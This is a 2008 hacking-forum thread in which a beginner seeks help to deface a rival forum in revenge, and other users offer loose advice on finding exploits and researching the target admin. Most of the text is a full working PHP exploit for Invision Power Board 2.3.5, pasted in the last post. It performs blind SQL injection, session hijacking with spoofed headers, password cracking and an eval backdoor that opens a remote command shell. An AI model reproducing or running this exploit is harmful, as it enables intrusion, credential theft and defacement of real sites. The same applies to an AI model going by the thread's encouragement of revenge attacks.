 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
How to use exploite |
 |
 Posted: Sun Oct 26, 2008 5:54 pm |
 |
|
| mattoni |
| Active user |
 |
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
 |
|
 |
|
Hi
I am just biggener.
Please how can i use this http://www.waraxe.us/ftopict-3302.html
do i need specific hardware or software?
i need to learn to be strong against some people who destroyed my forum .. the hacker is member of arabic forum and he hacked my forum.. he was able to edit any post and topic and he also was able to login by any mambers user name.
he make me very sad... all my member looked at me as poor admin who can not fight against the hacker.
that time was very bad for me.. 
i am now learing photoshope to be able to design index to locate it to the target forum. becoz the hacker is a moderator in target forum.
i need my members watch my index in the main page of the target forum  to let them know that me too can hack the hacker forum.
help me to learn please. |
|
|
|
|
|
|
|
|
| Posted: Sun Oct 26, 2008 6:55 pm |
|
|
| lenny |
| Valuable expert |
|
|
| Joined: May 15, 2008 |
| Posts: 275 |
|
|
|
|
|
|
|
| Ok, so the target forum is running IPB? |
|
|
|
|
| Posted: Sun Oct 26, 2008 7:01 pm |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
yes IPBv2.3.5
| Code: |
http://www.***.com/forums/index.php?act=xmlout&do=check-display-name&name=%2527 |
not found |
|
|
|
|
| Posted: Sun Oct 26, 2008 7:39 pm |
|
|
| lenny |
| Valuable expert |
|
|
| Joined: May 15, 2008 |
| Posts: 275 |
|
|
|
|
|
|
|
| That would appear to imply that it is already patched =[ |
|
|
|
|
| Posted: Sun Oct 26, 2008 7:52 pm |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
could you please explain to me what does mean patched? is that mean there is a strong security on the forum?
is that mean can not be hacked? |
|
|
|
|
| Posted: Sun Oct 26, 2008 8:07 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| mattoni wrote: | could you please explain to me what does mean patched? is that mean there is a strong security on the forum?
is that mean can not be hacked? |
http://en.wikipedia.org/wiki/Patch_(computing)
It means that this specific security hole is closed. But there can be many other possibilities  |
|
|
|
|
| Posted: Sun Oct 26, 2008 9:21 pm |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
then go ahead and tell me 
just at first i would like to put my index instead the main page of target forum.
hooooooooooooow? |
|
|
|
|
| Posted: Mon Oct 27, 2008 6:09 am |
|
|
| pexli |
| Valuable expert |
|
|
| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
|
|
|
|
|
|
| mattoni wrote: | | just at first i would like to put my index instead the main page of target forum. |
This is very stupid dude  |
|
|
|
|
| Posted: Mon Oct 27, 2008 7:57 am |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
 pexli.. its not
u misunderstood me
u do not know me yet 
anyway... i came here to learn from you Boss  |
|
|
|
|
| Posted: Mon Oct 27, 2008 10:59 am |
|
|
| lenny |
| Valuable expert |
|
|
| Joined: May 15, 2008 |
| Posts: 275 |
|
|
|
|
|
|
|
Ok, so basically you want to deface his site... well I usually dont condone hacking of this nature... but to be honest I can't see any real danger here
Ok mattoni, You have to find an exploit (online or with your own skill) that affects IPB 2.3.5. The exploit you have found is one of many, i would assume. Although I dont know the exact details, i know that 2.3.5 is a very recent release which is probably very secure and is unlikely to have any major security holes that you can exploit.
Unfortunatley there is only a *very* slim chance you will find an exploit that will allow you to hijack his website. |
|
|
|
|
|
|
|
|
| Posted: Mon Oct 27, 2008 11:31 am |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
Thanks lenny
I knew that the target forum was defaced a once last month from other hacker .. I am not sure if its nulled V2.3.5 or not.
but anyway i need to deface this forum.. i would like my members to see that.
i do not know where i can find a good exploit but i will try. |
|
|
|
|
| Posted: Mon Oct 27, 2008 4:28 pm |
|
|
| gyan007 |
| Advanced user |
 |
|
| Joined: Oct 17, 2008 |
| Posts: 106 |
|
|
|
|
|
|
|
| Find out things about the admin. Find out what forums the admin visits. Look at those websites. Look for possibility's beyond that particular site. |
|
|
|
|
| Posted: Mon Oct 27, 2008 8:17 pm |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
| gyan007 wrote: | | Find out things about the admin. Find out what forums the admin visits. Look at those websites. Look for possibility's beyond that particular site. |
this make no sense for me... 
just one sense i got... that you are the hacker of my forum
if you have good exploit so put it here ... |
|
|
|
|
|
|
|
|
| Posted: Mon Oct 27, 2008 8:27 pm |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
i fuond this exploit
for IPB 2.3.5 = multiple vulnerabilities
is this good one ? do not smile i am just a biggener
| Code: | #!/usr/bin/php -q
<?php
# This file requires the PhpSploit class.
# If you want to use this class, the latest
# version can be downloaded from acid-root.new.fr.
##################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php');
# yeah ... it rox (:
class ipb_spl
{
var $web;
function main()
{
$this->mhead();
# Gimme your args
$this->p_attack = $this->get_p('attack', true);
$this->p_prox = $this->get_p('proxhost');
$this->p_proxa = $this->get_p('proxauth');
$this->init_global();
# Proxy params
if( $this->p_prox )
{
$this->web->proxy($this->p_prox);
if( $this->p_proxa )
$this->web->proxyauth($this->p_proxa);
}
# Where do we go ?
switch( $this->p_attack )
{
case 1: $this->code_exec(); break;
case 2; $this->bf_sql_pwd(); break;
case 3: $this->bf_usr_pwd(); break;
default: $this->usage();
}
return;
}
function code_exec($loop=1)
{
# First loop
if( $loop == 1 )
{
$this->set_sql_param();
$this->set_sql_focus();
$this->p_acp = $this->get_p('acp');
# ACP path
if( !$this->p_acp )
{
# If the user changed the ACP directory, we can
# find it (if the "Remove ACP Link" option was not
# applied) by log in as an Admin, and then click
# on "Admin CP". This can be done with a user
# but I didn't implemented that ;)
$this->msg('Using default ACP path: admin', 1);
$this->p_acp = 'admin';
}
else
$this->msg('Using ACP path "'.$this->p_acp.'"', 1);
# Init client headers:
# Only if we have the same IP as the targeted user (not admin),
# it resets session datas, so we try to spoof our
# IP as a random one in order to keep user's session datas while
# we bruteforce SQL fields.
$this->bypass_matches();
# Remove expired sessions ( time() - 60*60*2 = > 2 hours )
$this->web->get($this->p_url.$this->p_acp.'/index.php?');
$this->msg('Removed all out of date admin sessions', 1);
# Cookie prefix
$this->get_cprefix();
}
# Admin session ?
$this->msg('Trying to find an admin session id', 0);
# Got one :]
if( $this->get_admin_sess() )
{
$this->s_admin = true;
$this->s_sess = $this->data['a_sess_id'];
$this->a_url = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
}
# Nothing special
else
{
$this->s_admin = false;
$this->msg('No admin session id found', -1);
}
# User session ?
if( !$this->s_sess )
{
$this->msg('Trying to find a user session id', 0);
# Yep
if( $this->get_user_sess() )
$this->s_sess = $this->data['u_sess_id'];
# F0ck
else
{
$this->msg('No user session id found', -1);
$this->msg('Admin session > 2 hours or user logged out', 0);
$this->msg('Keeping trying until the user connects', 0);
$this->msg('Entering loop #'.$loop.' ...', 0);
$this->code_exec(++$loop);
}
}
$this->msg('Getting security options', 0);
# Security options
$this->get_sec_options();
# IP filter ?
if( $this->conf['ip'] === '1' )
{
$this->s_bypass = true;
$this->msg('IP filter option is turned on', 0);
# Spoofing protection ?
if( !$this->conf['xforward'] )
{
# Assuming our IP isn't the same etc..
$this->msg('Can\'t bypass the IP filter', -1);
exit(1);
}
# X-Forwarded-For / Client-IP /
# Proxy-User / X-Cluster-Client-IP
else
{
$this->msg('Cool, we can spoof our IP (Client-IP)', 1);
if( $this->s_admin )
{
$this->msg('Trying to find admin\'s last IP', 0);
# Admin IP found
$this->get_admin_ip();
$this->s_ip = $this->data['a_ip_addr'];
}
else
{
$this->s_admin = false;
$this->msg('Trying to find user\'s last used IP', 0);
# User IP found
$this->get_user_ip();
$this->s_ip = $this->data['u_ip_addr'];
}
# Nothing found
if( !$this->s_ip )
{
# Ahah (:
$this->msg('No IP found for this user', -1);
$this->give_hope();
}
# Got one !
else
$this->msg('Ok, using IP '.$this->s_ip, 1);
}
}
# User-Agent filter ?
if( $this->conf['browser'] === '1' && !$this->s_admin )
{
$this->s_bypass = true;
$this->msg('Trying to find a valid user-agent', 0);
# Good
if( $this->get_user_agent() )
{
$this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
$this->s_agent = $this->data['u_agent'];
}
# WTF :!
else
{
$this->msg('No user-agent found for this user', -1);
$this->msg('Maybe the browser didn\'t send this header', 0);
$this->s_agent = '';
}
}
# Cool !?
if( !$this->s_bypass )
$this->msg('Cool, nothing to bypass', 1);
$this->msg('Trying to log in', 0);
# Owned =]
if( $this->is_logged() )
{
# PHP code
if( $this->s_admin )
{
$this->msg('Logged in with an admin session', 1);
$this->exec_code();
}
# Normal user ?
else
{
$this->msg('Logged in with a user session', 1);
$this->msg('You can log in using the cookie session_id', 1);
if( $this->s_ip !== $this->def_ip )
$this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
if( $this->s_agent )
$this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
exit(0);
}
}
else
{
# Even if the admin logged out .. the admin session
# is still valid ;)
$this->msg('Can\'t log in, the session has expired ?!', -1);
$this->give_hope();
}
return;
}
function bf_sql_pwd()
{
$this->p_ip = $this->get_p('ip', true);
$this->p_dict = $this->get_p('dict', true);
$this->p_sql_u = $this->get_p('sqlusr');
$this->p_url = $this->get_p('url');
$this->p_uname = $this->get_p('uname');
$this->p_pwd = $this->get_p('pwd');
// or
$this->p_uid = $this->get_p('uid');
$this->p_hash = $this->get_p('passhash');
$this->p_shold = $this->get_p('stronghold');
if( $this->p_uname && $this->p_pwd && $this->p_url )
{
$this->get_cprefix();
$this->msg('Trying to get some cookies', 0);
$g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
$p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';
$this->web->post($this->p_url.$g_dat, $p_dat);
$this->p_uid = $this->web->cookie[$this->s_cprefix.'member_id'];
$this->p_hash = $this->web->cookie[$this->s_cprefix.'pass_hash'];
$this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
}
elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
$this->usage();
if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
{
$this->msg('Can\'t get cookies', -1);
$this->msg('You should try with other parameters', -1);
exit(1);
}
$this->msg('Ok, using cookies:', 1);
$this->msg('member_id='.$this->p_uid, 1);
$this->msg('pass_hash='.$this->p_hash, 1);
$this->msg('ipb_stronghold='.$this->p_shold, 1);
if( !$this->p_sql_u )
{
$this->set_sql_param();
$this->msg('Trying to get the current sql user', 0);
if( !$this->get_sql_user() )
{
$this->msg('Can\'t get the sql user', -1);
$this->msg('If you know the sql user, use -sqlusr', -1);
exit(1);
}
else
$this->p_sql_u = $this->data['sql_user'];
}
$this->msg('Ok, using sql user '.$this->p_sql_u, 1);
$dico_c = file($this->p_dict);
$ip_a = explode('.', $this->p_ip);
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
$this->msg('You should take a drink ...', 0);
foreach( $dico_c as $line )
{
$md5 = md5(trim($line).$this->p_sql_u);
$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
$md5 = md5($md5);
if( $this->p_shold === $md5 )
{
$this->msg('Found something cool =]', 1);
$this->msg('SQL password: '.$line, 1);
exit(1);
}
}
$this->msg('End of the wordlist, password not found', -1);
return;
}
function bf_usr_pwd()
{
$this->p_dict = $this->get_p('dict', true);
$this->p_hash = $this->get_p('passhash');
$this->p_salt = $this->get_p('salt');
if( !$this->p_hash || !$this->p_salt )
{
$this->set_sql_param();
$this->set_sql_focus();
}
if( !$this->p_hash )
{
$this->msg('Trying to get the password hash', 0);
if( !$this->get_pass_hash() )
{
$this->msg('Can\'t get the password hash', -1);
exit(1);
}
else
$this->p_hash = $this->data['pass_hash'];
}
$this->msg('Ok, using hash '.$this->p_hash, 1);
if( !$this->p_salt )
{
$this->msg('Trying to get the password salt', 0);
if( !$this->get_pass_salt() )
{
$this->msg('Can\'t get the password salt', -1);
exit(1);
}
else
$this->p_salt = $this->data['pass_salt'];
}
$this->msg('Ok, using salt '.$this->p_salt, 1);
$dico_c = file($this->p_dict);
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
$this->msg('You should take a drink ...', 0);
foreach( $dico_c as $line )
{
if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
{
$this->msg('Found something cool =]', 1);
$this->msg('User password: '.$line, 1);
exit(1);
}
}
$this->msg('End of the wordlist, password not found', -1);
return;
}
function set_sql_param()
{
$this->p_url = $this->get_p('url', true);
$this->p_pre = $this->get_p('prefix');
# Table prefix
if( !$this->p_pre )
{
# Default table prefix if not precised
$this->msg('Using default table prefix: ibf_', 1);
$this->p_pre = 'ibf_';
}
else
$this->msg('Using table prefix '.$this->p_pre, 1);
}
function set_sql_focus()
{
$this->p_uname = $this->get_p('uname');
$this->p_uid = $this->get_p('uid');
if( $this->p_uname )
$this->msg('Using targeted username '.$this->p_uname, 1);
elseif( $this->p_uid )
$this->msg('Using targeted user id '.$this->p_uid, 1);
# Target
if( !($this->p_uname || $this->p_uid) )
{
# Default uid if not precised
$this->msg('Using default user id: 1', 1);
$this->p_uid = 1;
}
# Focus on ?
if( $this->p_uname )
$this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';
else
$this->t_on = 'id='.(int)$this->p_uid;
return;
}
function exec_code()
{
$this->write_code();
while( $this->cmd_prompt() )
{
$this->web->addheader('My-Code', $this->cmd);
$this->web->get($this->p_url);
print "\n".$this->get_answer();
}
exit(0);
}
function get_answer()
{
$res_a = explode($this->res_sep, $this->web->getcontent());
if( !$res_a[1] )
return 'No result to retrieve';
else
return $res_a[1];
}
function cmd_prompt()
{
$this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
if( !ereg('^(quit|exit)$', $this->cmd) )
{
$this->cmd = base64_encode($this->cmd);
$this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
return TRUE;
}
else
return FALSE;
}
function write_code()
{
# Gimme the language ID
$this->get_def_lang();
# Current lang settings
$p_dat =
'code=edit2&act=lang&id='.$this->g_lid.'§ion'.
'=lookandfeel&lang_file=lang_boards.php';
$this->web->post($this->a_url, $p_dat);
# We collect each variable name / value
if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
{
# POST data
$p_dat =
'code=doedit&act=lang&id='.$this->g_lid.
'&lang_file=lang_boards.php§ion=lo'.
'okandfeel&';
# &Name=Value
for( $i=0; $i<count($l_vars[0]); $i++ )
{
$p_dat .=
'&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);
# We write our PHP code in the first variable
if( $i == 0 )
$p_dat .= $this->php_write;
}
# Go on
$this->web->post($this->a_url, $p_dat);
$this->msg('PHP code written', 1);
}
else
{
# WTF :!
$this->msg('Can\'t find block variables', 0);
exit(1);
}
return;
}
function get_def_lang()
{
$this->msg('Trying to get the set language id', 0);
$this->web->get($this->a_url.'§ion=lookandfeel&act=lang');
if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
{
$this->g_lid = $lids[1];
$this->msg('Using language id '.$this->g_lid, 1);
}
else
{
$this->msg('Can\'t get the default language id', -1);
exit(1);
}
return;
}
function is_logged()
{
$this->bypass_matches();
# User session ok ?
if( !$this->s_admin )
{
$match = 'act=Login&CODE=03';
$this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);
$this->web->get($this->p_url);
}
# Admin session ok ?
else
{
$match = '§ion=';
$this->web->get($this->a_url);
}
if( preg_match("/$match/i", $this->web->getcontent()) )
return true;
else
return false;
}
function bypass_matches()
{
# match_browser
$this->web->agent($this->s_agent);
# match_ipaddress
$this->web->addheader('Client-IP', $this->s_ip);
return;
}
function get_cprefix()
{
$this->msg('Trying to get the cookie prefix', 0);
# Set-Cookie: session_id=...; path=/
$this->web->get($this->p_url);
$this->s_cprefix = '';
if( $this->web->cookie )
{
foreach( $this->web->cookie as $name => $value)
{
if( preg_match($this->reg_cpre, $name, $cmatches) )
{
$this->s_cprefix = $cmatches[1];
break;
}
}
}
if( !$this->s_cprefix )
$this->msg('No cookie prefix set', 1);
else
$this->msg('Using cookie prefix '.$this->s_cprefix, 1);
return;
}
function get_sec_options()
{
# If no value, take the default one
$this->get_conf('t.conf_value');
$this->get_conf('t.conf_default');
return;
}
function get_conf($field)
{
$this->init_sql();
$this->t_table = 'conf_settings';
$this->t_field = $field;
$this->t_char = $this->chr_num;
$this->t_add_0 = "AND t.conf_key='match_browser'";
if( $this->conf['browser'] === '' )
$this->conf['browser'] = $this->bf_inj();
$this->t_add_0 = "AND t.conf_key='match_ipaddress'";
if( $this->conf['ip'] === '' )
$this->conf['ip'] = $this->bf_inj();
$this->t_add_0 = "AND t.conf_key='xforward_matching'";
if( $this->conf['xforward'] === '' )
$this->conf['xforward'] = $this->bf_inj();
return;
}
function get_login_key()
{
$this->init_sql();
$this->t_key = 'login_key';
$this->t_table = 'members';
$this->t_field = 't.member_login_key';
$this->t_join = 't.id=m.id';
$this->t_char = $this->chr_md5;
$this->data['login_key'] = $this->bf_inj();
return $this->key_val;
}
function get_sql_user()
{
$this->init_sql();
$this->t_key = 'user()';
$this->t_table = 'members';
$this->t_field = 'user()';
$this->t_char = $this->chr_all;
$this->t_end = '@';
$this->data['sql_user'] = $this->bf_inj();
return $this->key_val;
}
function get_pass_hash()
{
$this->init_sql();
$this->t_key = 'pass_hash';
$this->t_table = 'members_converge';
$this->t_field = 't.converge_pass_hash';
$this->t_join = 't.converge_email=m.email';
$this->t_char = $this->chr_md5;
$this->data['pass_hash'] = $this->bf_inj();
return $this->key_val;
}
function get_pass_salt()
{
$this->init_sql();
$this->t_key = 'pass_salt';
$this->t_table = 'members_converge';
$this->t_field = 't.converge_pass_salt';
$this->t_join = 't.converge_email=m.email';
$this->t_char = $this->chr_all;
$this->data['pass_salt'] = $this->bf_inj();
return $this->key_val;
}
function get_admin_sess()
{
$this->init_sql();
$this->t_key = 'admin_sid';
$this->t_table = 'admin_sessions';
$this->t_field = 't.session_id';
$this->t_join = 't.session_member_id=m.id';
$this->t_sel = 't.session_log_in_time';
$this->t_char = $this->chr_md5;
$this->data['a_sess_id'] = $this->bf_inj();
return $this->key_val;
}
function get_admin_ip()
{
$this->init_sql();
$this->t_key = 'admin_ip';
$this->t_table = 'admin_sessions';
$this->t_field = 't.session_ip_address';
$this->t_join = 't.session_member_id=m.id';
$this->t_sel = 't.session_log_in_time';
$this->t_char = $this->chr_ip;
$this->data['a_ip_addr'] = $this->bf_inj();
return $this->key_val;
}
function get_admin_pwd()
{
$this->init_sql();
$this->t_key = 'admin_pwd';
$this->t_table = 'admin_login_logs';
$this->t_field = 't.admin_post_details';
$this->t_join = 't.admin_username=m.members_l_username';
$this->t_sel = 't.admin_id';
$this->t_end = '"';
$this->t_bchar = -4; # ";}}
$this->t_char = $this->chr_all;
$this->data['a_pwd_like']= $this->bf_inj();
return $this->key_val;
}
function get_user_sess()
{
$this->init_sql();
$this->t_key = 'user_sid';
$this->t_table = 'sessions';
$this->t_field = 't.id';
$this->t_join = 't.member_id=m.id';
$this->t_sel = 't.running_time';
$this->t_char = $this->chr_md5;
$this->data['u_sess_id'] = $this->bf_inj();
return $this->key_val;
}
function get_user_ip()
{
$this->init_sql();
$this->t_key = 'user_ip';
$this->t_table = 'sessions';
$this->t_field = 't.ip_address';
$this->t_join = 't.member_id=m.id';
$this->t_sel = 't.running_time';
$this->t_char = $this->chr_ip;
$this->data['u_ip_addr'] = $this->bf_inj();
return $this->key_val;
}
function get_user_agent()
{
$this->init_sql();
$this->t_key = 'user_agent';
$this->t_table = 'sessions';
$this->t_field = 't.browser';
$this->t_join = 't.member_id=m.id';
$this->t_sel = 't.running_time';
$this->t_char = $this->chr_all;
$this->data['u_agent'] = $this->bf_inj();
return $this->key_val;
}
function init_sql()
{
# SQL Injection params
$this->t_end = null;
$this->t_add_0 = '';
$this->t_add_1 = '';
$this->t_sel = '1';
$this->t_bchar = 0;
$this->t_join = '';
$this->t_key = '';
$this->t_add_1 = 'ORDER BY id DESC LIMIT 1';
return;
}
function init_global()
{
# Charsets
$this->chr_spe = str_split(' :/;*(-.!,?§*µù%$£^¨=+})°]Ãç^_\\`è|[\'{#é~&²"@');
$this->chr_num = range(0, 9);
$this->chr_md5 = array_merge( $this->chr_num, range('a', 'f') );
$this->chr_ip = array_merge( $this->chr_num, array('.') );
$this->chr_all = array_merge( $this->chr_num, range('a', 'z') );
$this->chr_all = array_merge( range('A', 'Z'), $this->chr_all, $this->chr_spe );
# SQL Injection
$this->def_param = 'index.php?s=&act=xmlout&do=check-display-name&name=%rep_inj%';
$this->def_inj = "' OR 1=\"'\" UNION %rep_req% OR 1=\"'\" %rep_add% #";
# Results
$this->data = array();
$this->conf = array('ip' => '', 'browser' => '', 'xforward' => '');
# Misc
$this->stat = array(-1 => '-', 0 => '/', 1 => '+');
$this->s_bypass = false;
$this->res_sep = md5(rand());
$this->def_ip = rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);
# PHP Code
$this->php_write = '${${@eval($_SERVER[HTTP_MY_CODE])}}';
$this->php_send = "print('$this->res_sep');@system(base64_decode('%CMD%'));";
$this->php_send .= "print('$this->res_sep');exit(0);";
# Regex
$this->reg_lang = '#</span></td>[\r\n]*.*[\r\n]*.*code=export&id=([0-9]+)#i';
$this->reg_lvar = "#id='XX_([\w]+)'[\x20]+class='multitext'>(.*)</textarea></td>#i";
$this->reg_cpre = '#^(.*)session_id$#';
# $this->reg_acp = '#<a href="(.*)"[\x20]+target="_blank"#i';
# Default client headers
$this->s_agent = 'Mozilla Firefox';
$this->s_ip = $this->def_ip;
return;
}
function bf_inj()
{
$this->sub_chr = $this->t_bchar;
$this->key_val = '';
if( !empty($this->t_key) )
$this->msg('', 0);
while( true )
{
if( $this->t_bchar < 0 )
$this->sub_chr--;
else
$this->sub_chr++;
# 0-9a-f
for( $j=0;$j<=count($this->t_char);$j++ )
{
# That one ?
$chr = $this->t_char[$j];
# Latest char ?
if( $j === count($this->t_char) )
$chr = $this->t_end;
# Ascii num
$asc = ord($chr);
# Screen bug
if( !empty($this->t_key) )
{
$msg = $this->t_key.'='.$this->key_val;
$msg .= ($chr === $this->t_end ? "\x20" : $chr);
$this->msg($msg, 0, 1, 1);
}
# Focus on the target ?
if( !empty($this->t_join) )
{
$inj =
'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.
' t, '.$this->p_pre.'members m WHERE '.$this->t_join.
' AND m.'.$this->t_on.' AND ASCII(SUBSTR('.$this->t_field.
','.$this->sub_chr.',1))='.$asc.' '.$this->t_add_0;
}
else
{
$inj =
'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.
' t WHERE ASCII(SUBSTR('.$this->t_field.','.$this->sub_chr.
',1))='.$asc.' '.$this->t_add_0;
}
# SQL Injection via rawurldecode()
$inj = str_replace('%rep_req%', $inj, $this->def_inj);
$inj = str_replace('%rep_add%', $this->t_add_1, $inj);
$inj = str_replace(array('"', "'"), array('%2522', '%2527'), $inj);
# Params
$inj = str_replace('%rep_inj%', $inj, $this->def_param);
$inj = str_replace(array(' ', '#'), array('%20', '%23'), $inj);
$this->web->get($this->p_url.$inj);
# Ok !?
if( !strstr($this->web->getcontent(), 'notfound') )
{
if( $chr !== $this->t_end )
{
$this->key_val .= $chr;
break;
}
}
# End
if( $chr === $this->t_end )
{
# Reverse
if( $this->t_bchar < 0 )
$this->key_val = strrev($this->key_val);
if( !empty($this->t_key) )
$this->msg($this->t_key.'='.$this->key_val, 1, 1, 1);
return $this->key_val;
}
}
}
}
function get_p($p, $exit=false)
{
global $argv;
foreach( $argv as $key => $value )
{
if( $value === '-'.$p )
{
if( isset($argv[$key+1]) && !empty($argv[$key+1]) )
{
return $argv[$key+1];
}
else
{
if( $exit )
$this->usage();
return true;
}
}
}
if( $exit )
$this->usage();
return false;
}
function msg($msg, $nstatus, $nspace=1, $ndel=0, $ask=false)
{
if( $ndel ) $type = "\r";
else $type = "\n";
# wtf (:
print
(
$type.str_repeat("\x20", $nspace).
$this->stat[$nstatus]."\x20".$msg
);
if( $ask )
return trim(fgets(STDIN));
}
function give_hope()
{
$this->msg('You should try with another user or try another time', -1);
exit(1);
}
function mhead()
{
# Advisory: http://acid-root.new.fr/?0:18
print "\n Invision Power Board <= 2.3.5 Multiple Vulnerabilities";
print "\n ------------------------------------------------------";
print "\n\n About:";
print "\n\n by DarkFig < gmdarkfig (at) gmail (dot) com >";
print "\n http://acid-root.new.fr/";;
print "\n #acidroot@xxxxxxxxxxxxxxxx";
print "\n\n\n Attack(s):\n";
return;
}
function usage()
{
print "\n -attack <int_choice> <params> [options]\n\n";
print " 1 - PHP code execution\n\n";
print " -url IPB url with ending slash\n\n";
print " -uname targeted username\n";
print " -uid OR the targeted user id (def: 1)\n\n";
print " -prefix sql table prefix (def: ibf_)\n";
print " -acp admin control panel path (def: admin)\n\n\n";
print " 2 - Insecure SQL password usage\n\n";
print " -ip your current IP\n";
print " -dict a wordlist file\n\n";
print " -url IPB url with ending slash\n";
print " -uname a valid member username\n";
print " -pwd the associated password\n\n";
print " -uid OR the targeted member id\n";
print " -passhash the passhash cookie value\n";
print " -stronghold the stronghold cookie value\n\n";
print " -sqlusr you can precise the sql user\n";
print " -prefix sql table prefix (def: ibf_)\n\n\n";
print " 3 - Password bruteforcer\n\n";
print " -dict a wordlist file\n\n";
print " -url IPB url with ending slash\n";
print " -uname targeted username\n";
print " -uid OR the targeted user id (def: 1)\n";
print " -prefix sql table prefix (def: ibf_)\n\n";
print " -passhash OR the passhash value\n";
print " -salt the salt value\n\n\n";
print " Optional: \n\n";
print " -proxhost <ip> if you wanna use a proxy\n";
print " -proxauth <usr:pwd> proxy with authentication\n";
exit(1);
}
}
$web = new phpsploit;
$web->cookiejar(1);
$web->agent('Mozilla Firefox');
$ipb = new ipb_spl;
$ipb->web =& $web;
$ipb->main();
?> |
i am not sure if i did a mistake becuease i puted the exploit here.. if i did .. i am sorry and please delete it.[/code] |
|
|
|
|
|
www.waraxe.us Forum Index -> General discussion
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 221
Members: 0
Total: 221
